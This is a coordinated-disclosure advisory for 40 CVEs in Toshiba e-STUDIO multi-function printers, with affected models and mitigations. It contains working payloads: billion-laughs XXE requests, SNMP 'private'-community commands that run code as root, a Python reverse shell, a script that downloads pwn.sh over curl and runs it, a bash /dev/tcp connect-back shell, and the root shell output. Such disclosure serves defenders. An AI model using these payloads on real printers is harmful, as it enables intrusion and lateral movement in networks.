<pre><code>Hello,<br /><br />Please find a text-only version below sent to security mailing lists.<br /><br />The complete version on "40 vulnerabilities in Toshiba Multi-Function<br />Printers" is posted here:<br /> https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html<br /><br />The text version is also posted here:<br /> https://pierrekim.github.io/advisories/2024-toshiba-mfp.txt<br /><br /><br />=== text-version of the advisory ===<br /><br />-----BEGIN PGP SIGNED MESSAGE-----<br />Hash: SHA512<br /><br />## Advisory Information<br /><br />Title: 40 vulnerabilities in Toshiba Multi-Function Printers<br />Advisory URL: https://pierrekim.github.io/advisories/2024-toshiba-mfp.txt<br />Blog URL: https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html<br />Date published: 2024-06-27<br />Vendors contacted: Toshiba<br />Release mode: Released<br />CVE: CVE-2024-27141, CVE-2024-27142, CVE-2024-27143, CVE-2024-27144,<br />CVE-2024-27145, CVE-2024-27146, CVE-2024-27147, CVE-2024-27148,<br />CVE-2024-27149, CVE-2024-27150, CVE-2024-27151, CVE-2024-27152,<br />CVE-2024-27153, CVE-2024-27154, CVE-2024-27155, CVE-2024-27156,<br />CVE-2024-27157, CVE-2024-27158, CVE-2024-27159, CVE-2024-27160,<br />CVE-2024-27161, CVE-2024-27162, CVE-2024-27163, CVE-2024-27164,<br />CVE-2024-27165, CVE-2024-27166, CVE-2024-27167, CVE-2024-27168,<br />CVE-2024-27169, CVE-2024-27170, CVE-2024-27171, CVE-2024-27172,<br />CVE-2024-27173, CVE-2024-27174, CVE-2024-27175, CVE-2024-27176,<br />CVE-2024-27177, CVE-2024-27178, CVE-2024-27179, CVE-2024-27180<br /><br /><br /><br />## Product description<br /><br />> e-STUDIO Multi-Function Printers (MFPs) are fast and productive, providing businesses and organisations the capability to produce what you need, when you need it.<br />><br />> From https://www.toshibatec.co.uk/workplace-solutions/products-and-solutions/mfps-and-printers/<br /><br /><br /><br />## Vulnerability Summary<br /><br />Vulnerable versions: 103 different models of Toshiba Multi-Function<br />Printers (MFP) are vulnerable. It is recommended to visit the official<br />Toshiba advisory<br />(https://www.toshibatec.com/information/20240531_01.html), review the<br />list of affected printers<br />(https://www.toshibatec.com/information/pdf/information20240531_01.pdf)<br />and apply security patches and replace unsupported MFP models.<br /><br />The summary of the vulnerabilities is as follows:<br /><br />1. CVE-2024-27141 - Pre-authenticated Blind XML External Entity (XXE)<br />injection - DoS<br />2. CVE-2024-27142 - Pre-authenticated XXE injection<br />3. CVE-2024-27143 - Pre-authenticated Remote Code Execution as root<br />4. CVE-2024-27144 - Pre-authenticated Remote Code Execution as root or<br />apache and multiple Local Privilege Escalations<br />4.1. Remote Code Execution - Upload of a new .py module inside WSGI<br />Python programs<br />4.2. Remote Code Execution - Upload of a new .ini configuration files<br />inside WSGI Python programs<br />4.3. Remote Code Execution - Upload of a malicious script<br />`/tmp/backtraceScript.sh` and injection of malicious gdb commands<br />4.4. Remote Code Execution - Upload of a malicious<br />`/home/SYSROM_SRC/build/common/bin/sapphost.py` program<br />4.5. Remote Code Execution - Upload of malicious libraries<br />4.6. Other ways to get Remote Code Execution<br />5. CVE-2024-27145 - Multiple Post-authenticated Remote Code Executions as root<br />6. CVE-2024-27146 - Lack of privileges separation<br />7. CVE-2024-27147 - Local Privilege Escalation and Remote Code<br />Execution using snmpd<br />8. CVE-2024-27148 - Local Privilege Escalation and Remote Code<br />Execution using insecure PATH<br />9. CVE-2024-27149 - Local Privilege Escalation and Remote Code<br />Execution using insecure LD_PRELOAD<br />10. CVE-2024-27150 - Local Privilege Escalation and Remote Code<br />Execution using insecure LD_LIBRARY_PATH<br />11. CVE-2024-27151 - Local Privilege Escalation and Remote Code<br />Execution using insecure permissions for 106 programs<br />11.1. 3 vulnerable programs not running as root<br />11.2. 103 vulnerable programs running as root<br />12. CVE-2024-27152 - Local Privilege Escalation and Remote Code<br />Execution using insecure permissions for libraries<br />12.1. Example with `/home/SYSROM_SRC/bin/syscallerr`<br />13. CVE-2024-27153 - Local Privilege Escalation and Remote Code<br />Execution using CISSM<br />14. CVE-2024-27154 and CVE-2024-27155 - Passwords stored in clear-text<br />logs and insecure logs<br />14.1. Clear-text password written in logs when an user logs into the printer<br />14.2. Clear-text password written in logs when a password is modified<br />15. CVE-2024-27156 - Leak of authentication sessions in insecure logs<br />in /ramdisk/work/log directory<br />16. CVE-2024-27157 - Leak of authentication sessions in insecure logs<br />in /ramdisk/al/network/log directory<br />17. CVE-2024-27158 - Hardcoded root password<br />18. CVE-2024-27159 - Hardcoded password used to encrypt logs<br />19. CVE-2024-27160 - Hardcoded password used to encrypt logs and use<br />of a weak digest cipher<br />20. CVE-2024-27161 - Hardcoded password used to encrypt files<br />21. CVE-2024-27162 - DOM-based XSS present in the /js/TopAccessUtil.js file<br />22. CVE-2024-27163 - Leak of admin password and passwords<br />23. CVE-2024-27164 - Hardcoded credentials in telnetd<br />24. CVE-2024-27165 - Local Privilege Escalation using PROCSUID<br />25. CVE-2024-27166 - Insecure permissions for core files<br />26. CVE-2024-27167 - Insecure permissions used for Sendmail - Local<br />Privilege Escalation<br />27. CVE-2024-27168 - Hardcoded keys found in Python applications used<br />to generate authentication cookies<br />28. CVE-2024-27169 - Lack of authentication in WebPanel - Local<br />Privilege Escalation<br />29. CVE-2024-27170 - Hardcoded credentials for WebDAV access<br />30. CVE-2024-27171 - Insecure permissions<br />31. CVE-2024-27172 - Remote Code Execution - command injection as root<br />32. CVE-2024-27173 - Remote Code Execution - insecure upload<br />33. CVE-2024-27174 - Remote Code Execution - insecure upload<br />34. CVE-2024-27175 - Local File Inclusion<br />35. CVE-2024-27176 - Remote Code Execution - insecure upload<br />36. CVE-2024-27177 - Remote Code Execution - insecure upload<br />37. CVE-2024-27178 - Remote Code Execution - insecure copy<br />38. CVE-2024-27179 - Session disclosure inside the log files in the<br />installation of applications<br />39. CVE-2024-27180 - TOCTOU vulnerability in the installation of<br />applications, allowing to install rogue applications and get RCE<br /><br />CVE-2024-27171 to CVE-2024-27180 affect the implementation of<br />third-party application system and third-party applications installed<br />by default in Toshiba printers - this is an extremely interesting<br />attack surface for persistence.<br /><br />TL;DR: An attacker can compromise Toshiba Multi-Function Printers<br />using multiple vulnerabilities.<br /><br />List of vulnerable models of Toshiba Multi-Function Printers (103 models):<br /><br /> 2021AC, 2521AC, 2020AC, 2520AC, 2025NC, 2525AC, 3025AC, 3525AC,<br />3525ACG, 4525AC, 4525ACG, 5525AC, 5525ACG,<br /> 6525AC, 6525ACG, 2528A, 3028A, 3528A, 3528AG, 4528A, 4528AG,<br />5528A, 6528A, 6526AC, 6527AC, 7527AC, 6529A,<br /> 7529A, 9029A, 330AC, 400AC, 2010AC, 2110AC, 2510AC, 2610AC,<br />2015NC, 2515AC, 2615AC, 3015AC, 3115AC, 3515AC,<br /> 3615AC, 4515AC, 4615AC, 5015AC, 5115AC, 2018A, 2518A, 2618A,<br />3018A, 3118A, 3018AG, 3518A, 3518AG, 3618A,<br /> 3618AG, 4518A, 4518AG, 4618A, 4618AG, 5018A, 5118A, 5516AC,<br />5616AC, 6516AC, 6616AC, 7516AC, 7616AC, 5518A,<br /> 5618A, 6518A, 6618A, 7518A, 7618A, 8518A, 8618A, 2000AC, 2500AC,<br />2005NC, 2505AC, 3005AC, 3505AC, 4505AC,<br /> 5005AC, 2008A, 2508A, 3008A, 3008AG, 3508A, 3508AG, 4508A, 4508AG,<br />5008A, 5506AC, 6506AC, 7506AC, 5508A,<br /> 6508A, 7508A, 8508A, 3508LP, 4508LP, 5008LP.<br /><br />_Miscellaneous notes_:<br /><br />This security assessment was entirely done using a blackbox approach<br />and fully-remote - I only had some IPs of printers (no physical access<br />and no credentials for admin or normal users). Consequently, the<br />physical security of the printers was not analyzed and the<br />vulnerabilities were confirmed with different models running the<br />latest firmware versions (e-STUDIO2010AC, e-STUDIO3005AC,<br />e-STUDIO3508A and e-STUDIO5018A).<br /><br />The vulnerabilities were communicated to Toshiba on June 14, 2023 and<br />communications with Toshiba were very effective.<br /><br />_Impacts_<br /><br />An attacker can compromise Toshiba multi-function printers (MFP) and<br />execute code. These printers are running Linux and are powerful. They<br />are ideal to host implants (and fun programs, like Bettercap) and move<br />laterally inside infrastructures.<br /><br />_Recommendations_<br /><br />- - Use network segmentation to isolate MFPs.<br />- - Apply security patches.<br />- - Replace unsupported MFPs.<br /><br /><br /><br />## Details - Pre-authenticated Blind XML External Entity (XXE) injection - DoS<br /><br />The Toshiba printers use XML communication for the `/contentwebserver`<br />API endpoint provided by the printer.<br /><br />This endpoint is managed by an Apache module located inside the<br />`mod_contentwebserver.so` library. This library provides XML parsing<br />and is vulnerable to a time-based blind XML External Entity (XXE)<br />vulnerability.<br /><br />Using a Billion-laugh attack, we can confirm there is a time-based<br />blind XXE vulnerability. When sending only 1 entity (&lol1) that is<br />defined inside the lolz root element, this &lol1 entity is expanding<br />into 10 entities and the request takes 200ms.<br /><br />With an entity that is expanding into:<br /><br />- - 10^10 entities, the request takes 206ms;<br />- - 10^10^10 entities, the request takes 541ms;<br />- - 10^10^10^10 entities, the request takes 2.7s;<br />- - 10^10^10^10^2 entities, the request takes 8.8s;<br />- - 10^10^10^10^2 entities, the request takes 30.9s;<br /><br />Even if the Apache server displays `MODULE_ERROR:SendRequest failed`,<br />the XML has been successfully evaluated by the<br />`mod_contentwebserver.so` library running in the remote printer.<br /><br />The payload is:<br /><br /> POST /contentwebserver HTTP/1.1<br /> Host: 10.0.0.1:8080<br /> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)<br />Gecko/20100101 Firefox/102.0<br /> Accept: */*<br /> Accept-Language: en-US,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Cache-Control: no-cache<br /> Pragma: no-cache<br /> Content-Type: text/plain; charset=utf-8<br /> csrfpId: 10.0.0.2.852d519a6fa9825fae857bac5c003da0<br /> Content-Length: 759<br /> Origin: http://10.0.0.1:8080<br /> Connection: close<br /> Referer: http://10.0.0.1:8080/?MAIN=TOPACCESS<br /> Cookie: Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0;<br />Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS;<br />IgnoreSessionTimeout=1<br /><br /> <!DOCTYPE lolz [<br /> <!ENTITY lol "lol"><br /> <!ELEMENT lolz (#PCDATA)><br /> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><br /> <!ENTITY lol2<br />"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><br /> <!ENTITY lol3<br />"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><br /> <!ENTITY lol4<br />"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><br /> <!ENTITY lol5 "&lol4;&lol4;&lol4;"><br /> <!ENTITY lol6<br />"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><br /> <!ENTITY lol7<br />"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><br /> <!ENTITY lol8<br />"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><br /> <!ENTITY lol9<br />"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"><br /> ]><br /> <lolz>&lol5;</lolz><br /><br />Using this HTTP request inside Burp (with a correct session while<br />browsing the printer without authentication), we can modify the entity<br />on the last line; we can see that the XML has been parsed by comparing<br />the time required for the printer to analyze the request.<br /><br />The time will appear inside Burp on the bottom-right of the Window (in<br />red in the following screenshots):<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />With 10^10^10^10^4 entity, then request takes 30 seconds.<br /><br />HTTP requests containing more XML complexity (with a lot of XML<br />entities to be parsed) will DoS the printer and the CPU of the printer<br />will run at 100%.<br /><br />The XML parser is vulnerable to XXE, without authentication.<br /><br />Exfiltration of file over HTTP, FTP and gopher was not obtained as<br />some protections seem to be implemented in the XML parser.<br /><br /><br /><br />## Details - Pre-authenticated XXE injection<br /><br />The Toshiba printers use XML communication for the `/contentwebserver`<br />API endpoint provided by the printer.<br /><br />This endpoint is managed by an Apache module located inside the<br />`mod_contentwebserver.so` library. This library provides XML parsing<br />and is vulnerable to a XML External Entity (XXE) vulnerability.<br /><br />Using a Billion-laugh attack and correctly formatted data for the<br />printer (with the Toshiba-specific non-public DTD, the tags will be<br />interpreted by the remote printer), we can confirm the presence of a<br />XXE vulnerability. The resulting evaluated XML will be displayed by<br />the printer:<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />[please use the HTML version at<br />https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]<br /><br />The malicious payload is (containing a `<X>&lol4;</X>`):<br /><br /> POST /contentwebserver HTTP/1.1<br /> Host: 10.0.0.1:8080<br /> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)<br />Gecko/20100101 Firefox/102.0<br /> Accept: */*<br /> Accept-Language: en-US,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Cache-Control: no-cache<br /> Pragma: no-cache<br /> Content-Type: text/plain; charset=utf-8<br /> csrfpId: 10.0.0.2.5d5255447c6eb69fc84a2d8c2056eb7d<br /> Content-Length: 1226<br /> Origin: http://10.0.0.1:8080<br /> Connection: close<br /> Referer: http://10.0.0.1:8080/Administration/CreateNewPwd.html<br /> Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US;<br />pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1; clicked=0;<br />addrLastVisited=ADDRBK;<br />Session=10.0.0.2.5d5255447c6eb69fc84a2d8c2056eb7d;<br />PREF=%7BList%2C8%2CClip<br /> boardForPage-%7D; PROGSTAT=0<br /><br /> <!DOCTYPE lolz [<br /> <!ENTITY lol "lol"><br /> <!ELEMENT lolz (#PCDATA)><br /> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><br /> <!ENTITY lol2<br />"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><br /> <!ENTITY lol3<br />"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><br /> <!ENTITY lol4<br />"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><br /> <!ENTITY lol5 "&lol4;&lol4;&lol4;"><br /> <!ENTITY lol6<br />"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><br /> <!ENTITY lol7<br />"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><br /> <!ENTITY lol8<br />"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><br /> <!ENTITY lol9<br />"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"><br /> ]><br /> <?xml version="1.0"?><br /> <DeviceInformationModel><br /> <GetValue><br /> <UserManager><br /> <View><br /> <Users/><br /> </View><br /> </UserManager><br /> </GetValue><br /> <SetValue><br /> <UserManager><br /> <View><br /> <Users><br /> <User><br /> <Information><br /> <X>&lol4;</X><br /> </Information><br /> </User><br /> </Users><br /> </View><br /> </UserManager><br /> </SetValue><br /> <Command><br /> <ForgotPassword><br /> <commandNode>UserManager/Users</commandNode><br /> <Params><br /> <userDetails<br />contentType="XPath">UserManager/View/Users/User</userDetails><br /> <cmdDetails commandType="Reset"/><br /> </Params><br /> </ForgotPassword><br /> </Command><br /> </DeviceInformationModel><br /><br />And the response will be:<br /><br /> HTTP/1.1 200 OK<br /> Date: Wed, 27 May 2023 10:54:12 GMT<br /> Server: Apache<br /> X-Frame-Options: SAMEORIGIN<br /> Cache-Control: max-age=63072000<br /> Accept-Language: en-US,en;q=0.5<br /> Connection: close<br /> Content-Type: text/xml<br /> Content-Length: 30465<br /><br /> <?xml version="1.0"?><br /> <DeviceInformationModel><br /> <GetValue><br /> <UserManager><br /> <View><br /> <Users><br /> <User><br /> <Information><br /><br /><X>lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol[...]lollollollollol</X><br /> </Information><br /> </User><br /> </Users><br /> </View><br /> </UserManager><br /> </GetValue><br /> <Command><br /> <ForgotPassword><br /> <commandNode>UserManager/Users</commandNode><br /> <Params><br /> <userDetails<br />contentType="XPath">UserManager/View/Users/User</userDetails><br /> <cmdDetails commandType="Reset"/><br /> </Params><br /> <Response><br /> <statusOfOperation>STATUS_FAILED</statusOfOperation><br /> </Response><br /> </ForgotPassword><br /> </Command><br /> </DeviceInformationModel><br /> kali%<br /><br />The XML parser is vulnerable to XXE, without authentication.<br /><br />An attacker can exploit the XXE to retrieve information.<br /><br />Exploitability was not analyzed in depth since a RCE was found at the<br />same time: Pre-authenticated Remote Code Execution as root.<br /><br /><br /><br />## Details - Pre-authenticated Remote Code Execution as root<br /><br />It was observed that the Toshiba printers use SNMP for configuration.<br /><br />By default, these communities are used:<br /><br />- - `public` for read only access;<br />- - `private` for read/write access.<br /><br />Using the `private` community, it is possible to remotely execute<br />commands as root on the remote printer.<br /><br />For example, these commands will execute the command `id` as root on<br />the remote printer:<br /><br /> kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip]<br />'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh<br />'nsExtendArgs."cmd"' = '-c id'<br /> NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)<br /> NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh<br /> NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c id<br /><br /> kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects<br /> NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 6<br /> NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh<br /> NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c id<br /> NET-SNMP-EXTEND-MIB::nsExtendInput."cmd" = STRING:<br /> NET-SNMP-EXTEND-MIB::nsExtendCacheTime."cmd" = INTEGER: 5<br /> NET-SNMP-EXTEND-MIB::nsExtendExecType."cmd" = INTEGER: exec(1)<br /> NET-SNMP-EXTEND-MIB::nsExtendRunType."cmd" = INTEGER: run-on-read(1)<br /> NET-SNMP-EXTEND-MIB::nsExtendStorage."cmd" = INTEGER: volatile(2)<br /> NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: active(1)<br /> NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."cmd" = STRING:<br />uid=0(root) gid=2000(trusted) groups=0(root)<br /> NET-SNMP-EXTEND-MIB::nsExtendOutputFull."cmd" = STRING:<br />uid=0(root) gid=2000(trusted) groups=0(root)<br /> NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."cmd" = INTEGER: 1<br /> NET-SNMP-EXTEND-MIB::nsExtendResult."cmd" = INTEGER: 0<br /> NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".1 = STRING: uid=0(root)<br />gid=2000(trusted) groups=0(root)<br /><br />Using this vulnerability will allow any attacker to get a root access<br />on a remote Toshiba printer as shown below.<br /><br />This following PoC will execute a connect-back shell with root<br />privilege to 10.0.0.2:21/tcp:<br /><br /> kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip]<br />'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' =<br />/home/SYSROM_SRC/build/release/bin/python 'nsExtendArgs."cmd"' = '-c<br />"import sys,socket,os,pty;s=socket.socket();s.connect((\"10.0.0.2\",21));[os.dup2(s.fileno(),fd)<br />for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'<br /> NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)<br /> NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING:<br />/home/SYSROM_SRC/build/release/bin/python<br /> NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "import<br />sys,socket,os,pty;s=socket.socket();s.connect((\"10.0.0.2\",21));[os.dup2(s.fileno(),fd)<br />for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"<br /> kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects<br /><br />And on the attacker machine, we will receive a shell on port 21/tcp:<br /><br /> kali# nc -l -v -p 21<br /> listening on [any] 21 ...<br /> 10.0.0.1: inverse host lookup failed: Unknown host<br /> connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 43467<br /> sh-4.1# uname -ap<br /> Linux MFP12188257 3.10.38-ltsi-WR6.0.0.11_standard #3010 SMP Wed<br />Jul 6 16:20:23 IST 2022 i686 GNU/Linux<br /> sh-4.1# id<br /> uid=0(root) gid=2000(trusted) groups=0(root)<br /> sh-4.1# exit<br /><br /><br />The attacker will then get a full root access in the printer,<br />including full access to the encrypted partition:<br /><br /> kali# nc -l -v -p 443<br /> listening on [any] 443 ...<br /> 10.0.0.1: inverse host lookup failed: Unknown host<br /> connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 36468<br /> bash-4.1# df -h<br /> df -h<br /> Filesystem Size Used Avail Use% Mounted on<br /> rootfs 4.8G 3.7G 904M 81% /<br /> /dev/root 48M 28M 18M 62% /old_root<br /> /dev/sda2 4.8G 3.7G 904M 81% /<br /> /dev/sda13 4.8G 49M 4.5G 2% /platform<br /> none 1.5G 188K 1.5G 1% /dev<br /> /dev/sda3 4.8G 1.3G 3.4G 28% /rollback<br /> /dev/sda5 25G 904M 23G 4% /work<br /> /dev/sda6 2.9G 620M 2.2G 23% /registration<br /> /dev/sda7 976M 1.3M 908M 1% /backup<br /> /dev/sda8 32G 60M 30G 1% /imagedata<br /> /dev/sda9 94G 65M 89G 1% /application<br /> /dev/mapper/enc_encryption<br /> 992M 2.6M 964M 1% /encryption<br /> /dev/sda12 119G 60M 112G 1% /storage<br /> tmpfs 1.5G 3.7M 1.5G 1% /dev/shm<br /> bash-4.1# mount<br /> mount<br /> rootfs on / type rootfs (rw)<br /> /dev/root on /old_root type ext2 (rw,relatime,errors=continue,user_xattr)<br /> proc on /old_root/proc type proc (rw,relatime)<br /> /dev/sda2 on / type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> /dev/sda13 on /platform type ext4<br />(rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> proc on /proc type proc (rw,relatime)<br /> sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)<br /> none on /dev type tmpfs (rw,relatime,mode=755)<br /> ramfs on /ramdisk type ramfs (rw,relatime,size=100m)<br /> /dev/sda3 on /rollback type ext4<br />(rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> /dev/sda5 on /work type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> /dev/sda6 on /registration type ext4<br />(rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> /dev/sda7 on /backup type ext4<br />(rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> /dev/sda8 on /imagedata type ext4<br />(rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> /dev/sda9 on /application type ext4<br />(rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> /dev/mapper/enc_encryption on /encryption type ext4<br />(rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> /dev/sda12 on /storage type ext4<br />(rw,relatime,nodelalloc,nobarrier,data=ordered)<br /> tmpfs on /dev/shm type tmpfs (rw,relatime,mode=755)<br /> devpts on /dev/pts type devpts (rw,relatime,mode=600)<br /> fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)<br /> bash-4.1#<br /><br />The vulnerability is located inside net-snmpd, as net-snmpd supports<br />the `NET-SNMP-EXTEND-MIB` extension MIB.<br /><br />This extension allows the execution of code from the net-snmpd daemon,<br />with root privileges, with 2 steps:<br /><br />1. Definition of a new MIB;<br />2. Execution of the new MIB.<br /><br />A bash payload is also provided:<br /><br />This following PoC will download a shell script, save it inside<br />`/dev/shm/pwn.sh` and execute it as root on the targeted printer:<br /><br /> kali% cat /var/www/html/pwn.sh<br /> #!/bin/sh<br /><br /> bash -i >& /dev/tcp/10.0.0.2/443 0>&1<br /><br /> kali% cat ./remote-pwn.sh<br /> #!/bin/sh<br /><br /> snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1<br />'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh<br />'nsExtendArgs."cmd"' = '-c "curl http://10.0.0.2/pwn.sh -o<br />/dev/shm/pwn.sh"'<br /> snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects<br /> snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1<br />'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh<br />'nsExtendArgs."cmd"' = '-c "chmod 755 /dev/shm/pwn.sh"'<br /> snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects<br /> snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1<br />'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh<br />'nsExtendArgs."cmd"' = ' "/dev/shm/pwn.sh"'<br /> snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects<br /><br />Using this PoC to get a connect-back root shell:<br /><br /> kali% ./remote-pwn.sh 10.0.0.1<br /> NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)<br /> NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh<br /> NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "curl<br />http://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"<br /> NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 21<br /> NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh<br /> NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "curl<br />http://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"<br /> NET-SNMP-EXTEND-MIB::nsExtendInput."cmd" = STRING:<br /> NET-SNMP-EXTEND-MIB::nsExtendCacheTime."cmd" = INTEGER: 5<br /> NET-SNMP-EXTEND-MIB::nsExtendExecType."cmd" = INTEGER: exec(1)<br /> NET-SNMP-EXTEND-MIB::nsExtendRunType."cmd" = INTEGER: run-on-read(1)<br /> NET-SNMP-EXTEND-MIB::nsExtendStorage."cmd" = INTEGER: volatile(2)<br /> NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: active(1)<br /> NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."cmd" = STRING: % Total<br /> % Received % Xferd Average Speed Time Time Time Current<br /> NET-SNMP-EXTEND-MIB::nsExtendOutputFull."cmd" = STRING: % Total<br /> % Received % Xferd Average Speed Time Time Time Current<br /> Dload Upload Total Spent<br />Left Speed<br /> 100 53 100 53 0 0 53 0 0:00:01 --:--:--<br />0:00:01 114<br /> NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."cmd" = INTEGER: 3<br /> NET-SNMP-EXTEND-MIB::nsExtendResult."cmd" = INTEGER: 0<br /> NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".1 = STRING: % Total<br /> % Received % Xferd Average Speed Time Time Time Current<br /> NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".2 = STRING:<br /> Dload Upload Total Spent Left Speed<br /> 100 53 100 53 0 0 53 0 0:00:01 --:--:--<br />0:00:01 114<br /> Error in packet.<br /> Reason: inconsistentValue (The set value is illegal or unsupported<br />in some way)<br /> Failed object: NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd"<br /> NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 21<br /> NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)<br /> NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh<br /> NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: "/dev/shm/pwn.sh"<br /> caTimeout: No Response from 10.0.0.1<br /><br /><br />And the connect-back shell script will connect to 10.0.0.2 on port<br />443/tcp, as defined in the previous `pwn.sh` script:<br /><br /> kali# nc -l -v -p 443<br /> listening on [any] 443 ...<br /> 10.0.0.1: inverse host lookup failed: Unknown host<br /> connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 36464<br /> bash-4.1# uname -ap<br /> Linux MFP14144292 3.10.38-ltsi-WR6.0.0.11_standard #3513 SMP Tue<br />Jul 5 09:58:22 IST 2022 i686 GNU/Linux<br /> bash-4.1# id<br /> uid=0(root) gid=2000(trusted) groups=0(root)<br /> 